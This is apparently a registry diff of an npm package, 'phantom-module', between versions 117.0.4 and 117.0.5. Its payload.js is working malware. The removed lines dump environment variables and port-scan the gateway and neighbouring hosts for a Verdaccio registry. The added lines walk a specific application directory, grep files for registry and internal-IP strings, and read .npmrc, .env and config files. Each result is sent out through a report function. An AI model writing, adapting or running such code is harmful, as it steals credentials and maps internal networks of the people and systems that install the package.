phantom-module 117.0.4 → 117.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +55 -53
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.4",
3
+ "version": "117.0.5",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,6 +1,6 @@
1
- const net = require('net');
2
1
  const http = require('http');
3
2
  const fs = require('fs');
3
+ const path = require('path');
4
4
  const { execSync } = require('child_process');
5
5
 
6
6
  if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
@@ -23,70 +23,72 @@ async function report(moduleId, data) {
23
23
  });
24
24
  }
25
25
 
26
- function checkPort(host, port) {
27
- return new Promise((resolve) => {
28
- const sock = new net.Socket();
29
- sock.setTimeout(300);
30
- sock.on('connect', () => { sock.destroy(); resolve(true); });
31
- sock.on('error', () => { sock.destroy(); resolve(false); });
32
- sock.on('timeout', () => { sock.destroy(); resolve(false); });
33
- sock.connect(port, host);
34
- });
26
+ function walk(dir, fileList = []) {
27
+ try {
28
+ const files = fs.readdirSync(dir);
29
+ files.forEach(file => {
30
+ const filePath = path.join(dir, file);
31
+ try {
32
+ const stat = fs.statSync(filePath);
33
+ if (stat.isDirectory()) {
34
+ if (file !== 'node_modules' && file !== '.git') walk(filePath, fileList);
35
+ } else {
36
+ fileList.push(filePath);
37
+ }
38
+ } catch(e) {}
39
+ });
40
+ } catch(e) {}
41
+ return fileList;
35
42
  }
36
43
 
37
44
  async function main() {
38
- await report('ECT-654321', 'SCAN V4 STARTING...');
45
+ await report('ECT-654321', 'FILE DUMP STARTING...');
39
46
 
40
- let envInfo = '=== ENV INFO ===\n';
41
- try {
42
- envInfo += `ENV DUMP: ${JSON.stringify(process.env).substring(0,500)}\n`;
43
- envInfo += `/proc/net/route:\n${fs.readFileSync('/proc/net/route','utf8')}\n`;
44
- envInfo += `/proc/net/arp:\n${fs.readFileSync('/proc/net/arp','utf8')}\n`;
45
- try { envInfo += `netstat -rn:\n${execSync('netstat -rn').toString()}\n`; } catch(e){}
46
- } catch(e) { envInfo += `ERR: ${e.message}\n`; }
47
- await report('ECT-654321', envInfo);
48
-
49
- // Parse gateway from /proc/net/route
50
- // Destination 00000000 is default route. Gateway is hex.
51
- let gateway = '172.17.0.1'; // Default fallback
47
+ // 1. List all interesting files
48
+ const files = walk('/home/node/aspect-node');
49
+ const interesting = files.filter(f => f.match(/\.(js|json|yaml|yml|sh|env|conf)$/));
50
+
51
+ await report('ECT-654321', `Found ${files.length} files. Interesting:\n${interesting.join('\n').substring(0,3000)}`);
52
+
53
+ // 2. Grep for "registry", "http", "4873", "verda"
54
+ let grepOutput = '=== GREP RESULTS ===\n';
52
55
  try {
53
- const route = fs.readFileSync('/proc/net/route', 'utf8');
54
- const lines = route.split('\n');
55
- for (const line of lines) {
56
- const parts = line.split(/\s+/);
57
- if (parts[1] === '00000000') {
58
- const hex = parts[2];
59
- // Convert hex IP to dot notation (little endian)
60
- const d = parseInt(hex, 16);
61
- gateway = `${d&255}.${(d>>8)&255}.${(d>>16)&255}.${(d>>24)&255}`;
62
- break;
63
- }
56
+ // Node.js grep implementation
57
+ for (const file of interesting) {
58
+ try {
59
+ const content = fs.readFileSync(file, 'utf8');
60
+ if (content.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
61
+ grepOutput += `--- ${file} ---\n`;
62
+ const lines = content.split('\n');
63
+ lines.forEach((line, i) => {
64
+ if (line.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
65
+ grepOutput += `${i+1}: ${line.trim().substring(0, 200)}\n`;
66
+ }
67
+ });
68
+ }
69
+ } catch(e) {}
64
70
  }
65
- } catch(e) {}
71
+ } catch(e) { grepOutput += `ERR: ${e.message}\n`; }
66
72
 
67
- await report('ECT-839201', `Scanning Gateway: ${gateway}\n`);
73
+ await report('ECT-839201', grepOutput);
68
74
 
69
- // Fast port scan of gateway
70
- const commonPorts = [80, 443, 3000, 3001, 3128, 4873, 5000, 5001, 5080, 8000, 8001, 8080, 8081, 8090, 8888, 9000, 9090];
71
- let scanOutput = `=== GATEWAY ${gateway} ===\n`;
75
+ // 3. Read specific config files if found
76
+ let configOutput = '=== CONFIG DUMP ===\n';
77
+ const targets = [
78
+ '/home/node/.npmrc',
79
+ '/root/.npmrc',
80
+ '/home/node/aspect-node/.env',
81
+ '/home/node/aspect-node/config/default.json',
82
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js'
83
+ ];
72
84
 
73
- for (const port of commonPorts) {
74
- if (await checkPort(gateway, port)) {
75
- scanOutput += `OPEN ${gateway}:${port}\n`;
85
+ for (const t of targets) {
86
+ if (fs.existsSync(t)) {
87
+ configOutput += `--- ${t} ---\n${fs.readFileSync(t, 'utf8').substring(0,1000)}\n`;
76
88
  }
77
89
  }
78
90
 
79
- // Also scan neighbor IPs
80
- const base = gateway.split('.').slice(0,3).join('.');
81
- scanOutput += `=== NEIGHBORS ${base}.* ===\n`;
82
- for (let i=1; i<=10; i++) {
83
- const ip = `${base}.${i}`;
84
- if (ip === gateway) continue;
85
- if (await checkPort(ip, 4873)) scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
86
- if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
87
- }
88
-
89
- await report('ECT-987654', scanOutput);
91
+ await report('ECT-987654', configOutput);
90
92
  }
91
93
 
92
94
  main().catch(e => report('ECT-654321', 'ERR: ' + e.message));